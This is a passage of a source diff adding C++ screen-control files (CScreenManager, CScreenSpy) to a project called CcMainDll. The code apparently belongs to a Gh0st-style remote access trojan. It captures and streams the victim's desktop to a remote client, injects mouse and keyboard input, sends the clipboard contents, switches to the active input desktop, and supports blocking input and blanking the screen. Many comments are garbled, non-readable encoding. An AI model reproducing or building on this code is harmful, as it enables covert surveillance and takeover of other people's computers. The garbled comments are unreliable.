case WM_RBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN:
|
||||
case WM_MBUTTONUP:
|
||||
{
|
||||
POINT point;
|
||||
point.x = LOWORD(pMsg->lParam);
|
||||
point.y = HIWORD(pMsg->lParam);
|
||||
SetCursorPos(point.x, point.y);
|
||||
SetCapture(WindowFromPoint(point));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
switch(pMsg->message)
|
||||
{
|
||||
case WM_LBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MOUSEWHEEL:
|
||||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
|
||||
break;
|
||||
case WM_KEYDOWN:
|
||||
case WM_SYSKEYDOWN:
|
||||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
|
||||
break;
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYUP:
|
||||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenManager::UpdateLocalClipboard( char *buf, int len )
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
|
||||
::EmptyClipboard();
|
||||
HGLOBAL hglbCopy = GlobalAlloc(GMEM_DDESHARE, len);
|
||||
if (hglbCopy != NULL) {
|
||||
// Lock the handle and copy the text to the buffer.
|
||||
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
|
||||
memcpy(lptstrCopy, buf, len);
|
||||
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
|
||||
SetClipboardData(CF_TEXT, hglbCopy);
|
||||
GlobalFree(hglbCopy);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
void CScreenManager::SendLocalClipboard()
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
HGLOBAL hglb = GetClipboardData(CF_TEXT);
|
||||
if (hglb == NULL)
|
||||
{
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int nPacketLen = GlobalSize(hglb) + 1;
|
||||
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
|
||||
LPBYTE lpData = new BYTE[nPacketLen];
|
||||
lpData[0] = TOKEN_CLIPBOARD_TEXT;
|
||||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||||
::GlobalUnlock(hglb);
|
||||
::CloseClipboard();
|
||||
Send(lpData, nPacketLen);
|
||||
delete[] lpData;
|
||||
}
|
||||
|
||||
|
||||
// <20><>Ļ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>
|
||||
bool CScreenManager::IsMetricsChange()
|
||||
{
|
||||
LPBITMAPINFO lpbmi = m_pScreenSpy->getBI();
|
||||
|
||||
return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) ||
|
||||
(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
|
||||
}
|
||||
|
||||
bool CScreenManager::IsConnect()
|
||||
{
|
||||
return m_pClient->IsRunning();
|
||||
}
|
||||
|
||||
int CScreenManager::GetCurrentPixelBits()
|
||||
{
|
||||
return m_biBitCount;
|
||||
}
|
44
CcMainDll/CcMainDll/common/ScreenManager.h
Normal file
44
CcMainDll/CcMainDll/common/ScreenManager.h
Normal file
@@ -0,0 +1,44 @@
|
||||
// ScreenManager.h: interface for the CScreenManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)
|
||||
#define AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include "Manager.h"
|
||||
#include "ScreenSpy.h"
|
||||
|
||||
class CScreenManager : public CManager
|
||||
{
|
||||
public:
|
||||
CScreenManager(CClientSocket *pClient);
|
||||
virtual ~CScreenManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
void sendBITMAPINFO();
|
||||
void sendFirstScreen();
|
||||
void sendNextScreen();
|
||||
bool IsMetricsChange();
|
||||
bool IsConnect();
|
||||
int GetCurrentPixelBits();
|
||||
bool m_bIsWorking;
|
||||
bool m_bIsBlockInput;
|
||||
bool m_bIsBlankScreen;
|
||||
private:
|
||||
BYTE m_bAlgorithm;
|
||||
bool m_bIsCaptureLayer;
|
||||
int m_biBitCount;
|
||||
HANDLE m_hWorkThread, m_hBlankThread;
|
||||
CCursorInfo m_CursorInfo;
|
||||
CScreenSpy *m_pScreenSpy;
|
||||
void ResetScreen(int biBitCount);
|
||||
void ProcessCommand(LPBYTE lpBuffer, UINT nSize);
|
||||
static DWORD WINAPI WorkThread(LPVOID lparam);
|
||||
static DWORD WINAPI ControlThread(LPVOID lparam);
|
||||
void UpdateLocalClipboard(char *buf, int len);
|
||||
void SendLocalClipboard();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_)
|
487
CcMainDll/CcMainDll/common/ScreenSpy.cpp
Normal file
487
CcMainDll/CcMainDll/common/ScreenSpy.cpp
Normal file
@@ -0,0 +1,487 @@
|
||||
// ScreenSpy.cpp: implementation of the CScreenSpy class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "until.h"
|
||||
|
||||
#define RGB2GRAY(r,g,b) (((b)*117 + (g)*601 + (r)*306) >> 10)
|
||||
|
||||
#define DEF_STEP 19
|
||||
#define OFF_SET 24
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifdef _CONSOLE
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
|
||||
{
|
||||
switch (biBitCount)
|
||||
{
|
||||
case 1:
|
||||
case 4:
|
||||
case 8:
|
||||
case 16:
|
||||
case 32:
|
||||
m_biBitCount = biBitCount;
|
||||
break;
|
||||
default:
|
||||
m_biBitCount = 8;
|
||||
}
|
||||
|
||||
if (!SelectInputWinStation())
|
||||
{
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
}
|
||||
|
||||
m_dwBitBltRop = SRCCOPY;
|
||||
|
||||
m_bAlgorithm = ALGORITHM_SCAN; // Ĭ<><C4AC>ʹ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD>㷨
|
||||
m_dwLastCapture = GetTickCount();
|
||||
m_nMaxFrameRate = nMaxFrameRate;
|
||||
m_dwSleep = 1000 / nMaxFrameRate;
|
||||
m_bIsGray = bIsGray;
|
||||
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
|
||||
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
m_nIncSize = 32 / m_biBitCount;
|
||||
|
||||
m_nStartLine = 0;
|
||||
|
||||
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
|
||||
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
|
||||
m_hLineMemDC = ::CreateCompatibleDC(NULL);
|
||||
m_hRectMemDC = ::CreateCompatibleDC(NULL);
|
||||
m_lpvLineBits = NULL;
|
||||
m_lpvFullBits = NULL;
|
||||
|
||||
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
|
||||
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
|
||||
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
|
||||
|
||||
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
|
||||
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
|
||||
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
|
||||
|
||||
::SelectObject(m_hFullMemDC, m_hFullBitmap);
|
||||
::SelectObject(m_hLineMemDC, m_hLineBitmap);
|
||||
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
|
||||
|
||||
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
|
||||
|
||||
// <20>㹻<EFBFBD><E3B9BB>
|
||||
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
|
||||
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
|
||||
|
||||
m_rectBufferOffset = 0;
|
||||
}
|
||||
|
||||
CScreenSpy::~CScreenSpy()
|
||||
{
|
||||
::ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||||
::DeleteDC(m_hLineMemDC);
|
||||
::DeleteDC(m_hFullMemDC);
|
||||
::DeleteDC(m_hRectMemDC);
|
||||
::DeleteDC(m_hDiffMemDC);
|
||||
|
||||
::DeleteObject(m_hLineBitmap);
|
||||
::DeleteObject(m_hFullBitmap);
|
||||
::DeleteObject(m_hDiffBitmap);
|
||||
|
||||
if (m_rectBuffer)
|
||||
delete[] m_rectBuffer;
|
||||
delete[] m_lpbmi_full;
|
||||
delete[] m_lpbmi_line;
|
||||
delete[] m_lpbmi_rect;
|
||||
}
|
||||
|
||||
|
||||
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
|
||||
{
|
||||
static LONG nOldCursorPosY = 0;
|
||||
if (lpdwBytes == NULL || m_rectBuffer == NULL)
|
||||
return NULL;
|
||||
|
||||
SelectInputWinStation();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||
m_rectBufferOffset = 0;
|
||||
|
||||
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
|
||||
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨
|
||||
if (m_bAlgorithm == ALGORITHM_DIFF)
|
||||
{
|
||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ
|
||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
|
||||
*lpdwBytes = m_rectBufferOffset +
|
||||
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
|
||||
return m_rectBuffer;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>λ<EFBFBD>÷<EFBFBD><C3B7>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD> + DEF_STEP)<29><><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nHotspot = max(0, CursorPos.y - DEF_STEP);
|
||||
for (
|
||||
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
|
||||
i < m_nFullHeight;
|
||||
i += DEF_STEP
|
||||
)
|
||||
{
|
||||
if (ScanChangedRect(i))
|
||||
{
|
||||
i += DEF_STEP;
|
||||
}
|
||||
}
|
||||
nOldCursorPosY = CursorPos.y;
|
||||
|
||||
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
|
||||
*lpdwBytes = m_rectBufferOffset;
|
||||
|
||||
// <20><><EFBFBD>Ʒ<EFBFBD><C6B7><EFBFBD>֡<EFBFBD><D6A1><EFBFBD>ٶ<EFBFBD>
|
||||
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
|
||||
Sleep(1);
|
||||
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
|
||||
|
||||
return m_rectBuffer;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool CScreenSpy::ScanChangedRect(int nStartLine)
|
||||
{
|
||||
bool bRet = false;
|
||||
LPDWORD p1, p2;
|
||||
::BitBlt(m_hLineMemDC, 0, 0, m_nFullWidth, 1, m_hFullDC, 0, nStartLine, m_dwBitBltRop);
|
||||
// 0 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
p1 = (PDWORD)((DWORD)m_lpvFullBits + ((m_nFullHeight - 1 - nStartLine) * m_nDataSizePerLine));
|
||||
p2 = (PDWORD)m_lpvLineBits;
|
||||
::SetRect(&m_changeRect, -1, nStartLine - DEF_STEP, -1, nStartLine + DEF_STEP * 2);
|
||||
|
||||
for (int j = 0; j < m_nFullWidth; j += m_nIncSize)
|
||||
{
|
||||
if (*p1 != *p2)
|
||||
{
|
||||
if (m_changeRect.right < 0)
|
||||
m_changeRect.left = j - OFF_SET;
|
||||
m_changeRect.right = j + OFF_SET;
|
||||
}
|
||||
p1++;
|
||||
p2++;
|
||||
}
|
||||
|
||||
if (m_changeRect.right > -1)
|
||||
{
|
||||
m_changeRect.left = max(m_changeRect.left, 0);
|
||||
m_changeRect.top = max(m_changeRect.top, 0);
|
||||
m_changeRect.right = min(m_changeRect.right, m_nFullWidth);
|
||||
m_changeRect.bottom = min(m_changeRect.bottom, m_nFullHeight);
|
||||
// <20><><EFBFBD>Ƹı<C6B8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CopyRect(&m_changeRect);
|
||||
bRet = true;
|
||||
}
|
||||
|
||||
return bRet;
|
||||
}
|
||||
void CScreenSpy::setAlgorithm(UINT nAlgorithm)
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bAlgorithm, nAlgorithm);
|
||||
}
|
||||
|
||||
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
|
||||
{
|
||||
/*
|
||||
biBitCount Ϊ1 (<28>ڰ<DAB0>ɫͼ) <20><>4 (16 ɫͼ) <20><>8 (256 ɫͼ) ʱ<><CAB1><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>С
|
||||
biBitCount Ϊ16 (16 λɫͼ) <20><>24 (<28><><EFBFBD><EFBFBD>ɫͼ, <20><>֧<EFBFBD><D6A7>) <20><>32 (32 λɫͼ) ʱû<CAB1><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB>
|
||||
*/
|
||||
int color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
|
||||
|
||||
int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
|
||||
BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize];
|
||||
|
||||
BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader);
|
||||
lpbmih->biSize = sizeof(BITMAPINFOHEADER);
|
||||
lpbmih->biWidth = biWidth;
|
||||
lpbmih->biHeight = biHeight;
|
||||
lpbmih->biPlanes = 1;
|
||||
lpbmih->biBitCount = biBitCount;
|
||||
lpbmih->biCompression = BI_RGB;
|
||||
lpbmih->biXPelsPerMeter = 0;
|
||||
lpbmih->biYPelsPerMeter = 0;
|
||||
lpbmih->biClrUsed = 0;
|
||||
lpbmih->biClrImportant = 0;
|
||||
lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
|
||||
|
||||
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
if (biBitCount >= 16)
|
||||
return lpbmi;
|
||||
/*
|
||||
Windows 95<39><35>Windows 98<39><38><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lpvBits<74><73><EFBFBD><EFBFBD>ΪNULL<4C><4C><EFBFBD><EFBFBD>GetDIBits<74>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BITMAPINFO<46>ṹ<EFBFBD><E1B9B9><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>ֵΪλͼ<CEBB><CDBC><EFBFBD>ܹ<EFBFBD><DCB9><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
Windows NT<4E><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lpvBits<74><73><EFBFBD><EFBFBD>ΪNULL<4C><4C><EFBFBD><EFBFBD>GetDIBits<74>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BITMAPINFO<46>ṹ<EFBFBD><E1B9B9><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>ֵΪ<D6B5><CEAA>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0ֵ<30><D6B5>Windows NT<4E><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>callGetLastError<6F><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
*/
|
||||
|
||||
HDC hDC = GetDC(NULL);
|
||||
HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // <20>߿<EFBFBD><DFBF><EFBFBD><EFBFBD><EFBFBD>Ϊ0
|
||||
GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
|
||||
ReleaseDC(NULL, hDC);
|
||||
DeleteObject(hBmp);
|
||||
|
||||
if (m_bIsGray)
|
||||
{
|
||||
for (int i = 0; i < color_num; i++)
|
||||
{
|
||||
int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
|
||||
lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
|
||||
}
|
||||
}
|
||||
|
||||
return lpbmi;
|
||||
}
|
||||
|
||||
void CScreenSpy::WriteRectBuffer(LPBYTE lpData, int nCount)
|
||||
{
|
||||
memcpy(m_rectBuffer + m_rectBufferOffset, lpData, nCount);
|
||||
m_rectBufferOffset += nCount;
|
||||
}
|
||||
|
||||
LPVOID CScreenSpy::getFirstScreen()
|
||||
{
|
||||
::BitBlt(m_hFullMemDC, 0, 0, m_nFullWidth, m_nFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
|
||||
return m_lpvFullBits;
|
||||
}
|
||||
|
||||
void CScreenSpy::CopyRect( LPRECT lpRect )
|
||||
{
|
||||
int nRectWidth = lpRect->right - lpRect->left;
|
||||
int nRectHeight = lpRect->bottom - lpRect->top;
|
||||
|
||||
LPVOID lpvRectBits = NULL;
|
||||
// <20><><EFBFBD><EFBFBD>m_lpbmi_rect
|
||||
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
|
||||
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
|
||||
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
|
||||
* m_lpbmi_rect->bmiHeader.biHeight;
|
||||
|
||||
|
||||
HBITMAP hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
|
||||
::SelectObject(m_hRectMemDC, hRectBitmap);
|
||||
::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
|
||||
::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);
|
||||
|
||||
WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT));
|
||||
WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage);
|
||||
|
||||
DeleteObject(hRectBitmap);
|
||||
}
|
||||
|
||||
UINT CScreenSpy::getFirstImageSize()
|
||||
{
|
||||
return m_lpbmi_full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpy::setCaptureLayer(bool bIsCaptureLayer)
|
||||
{
|
||||
DWORD dwRop = SRCCOPY;
|
||||
if (bIsCaptureLayer)
|
||||
dwRop |= CAPTUREBLT;
|
||||
InterlockedExchange((LPLONG)&m_dwBitBltRop, dwRop);
|
||||
}
|
||||
|
||||
LPBITMAPINFO CScreenSpy::getBI()
|
||||
{
|
||||
return m_lpbmi_full;
|
||||
}
|
||||
|
||||
UINT CScreenSpy::getBISize()
|
||||
{
|
||||
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
|
||||
|
||||
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
|
||||
}
|
||||
|
||||
bool CScreenSpy::SelectInputWinStation()
|
||||
{
|
||||
bool bRet = ::SwitchInputDesktop();
|
||||
if (bRet)
|
||||
{
|
||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
//// <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȵ<EFBFBD>
|
||||
// LONG CScreenSpy::getKeyBoardHotspotY()
|
||||
// {
|
||||
// static DWORD dwCurrentThreadId = GetCurrentThreadId();
|
||||
// static HWND hWindow = GetForegroundWindow();
|
||||
// static DWORD dwWindowThreadId = GetWindowThreadProcessId(hWindow, NULL);
|
||||
// HWND hCurrentWindow = GetForegroundWindow();
|
||||
// if (hCurrentWindow != hWindow )
|
||||
// {
|
||||
// // Release
|
||||
// AttachThreadInput(dwCurrentThreadId, dwWindowThreadId, FALSE);
|
||||
// hWindow = hCurrentWindow;
|
||||
// dwWindowThreadId = GetWindowThreadProcessId(hWindow, NULL);
|
||||
// AttachThreadInput(dwCurrentThreadId, dwWindowThreadId, TRUE);
|
||||
// }
|
||||
//
|
||||
// POINT pt;
|
||||
// if (GetCaretPos(&pt))
|
||||
// {
|
||||
// ClientToScreen(GetFocus(), &pt);
|
||||
// }
|
||||
// return pt.y;
|
||||
// }
|
||||
|
||||
void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight)
|
||||
{
|
||||
UINT nJumpLine = 50;
|
||||
UINT nJumpSleep = nJumpLine / 10; // ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nOther;
|
||||
int nToJump = 0;
|
||||
int i = 0;
|
||||
// ɨ<><C9A8><EFBFBD><EFBFBD>Ļ
|
||||
for (i = 0, nToJump = 0; i < nHeight; i += nToJump)
|
||||
{
|
||||
nOther = nHeight - i;
|
||||
|
||||
if (nOther > nJumpLine)
|
||||
nToJump = nJumpLine;
|
||||
else
|
||||
nToJump = nOther;
|
||||
BitBlt(hdcDest, 0, i, nWidth, nToJump, hdcSrc, 0, i, m_dwBitBltRop);
|
||||
Sleep(nJumpSleep);
|
||||
}
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨<EFBFBD><E3B7A8><EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD>
|
||||
int CScreenSpy::Compare( LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize )
|
||||
{
|
||||
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||
LPDWORD p1, p2;
|
||||
p1 = (LPDWORD)lpDest;
|
||||
p2 = (LPDWORD)lpSource;
|
||||
|
||||
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
int nOffsetOffset = 0, nBytesOffset = 0, nDataOffset = 0;
|
||||
int nCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
// p1++ʵ<><CAB5><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DWORD
|
||||
for (int i = 0; i < dwSize; i += 4, p1++, p2++)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
continue;
|
||||
// һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ鿪ʼ
|
||||
// д<><D0B4>ƫ<EFBFBD>Ƶ<EFBFBD>ַ
|
||||
*(LPDWORD)(lpBuffer + nOffsetOffset) = i;
|
||||
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
|
||||
nBytesOffset = nOffsetOffset + sizeof(int);
|
||||
nDataOffset = nBytesOffset + sizeof(int);
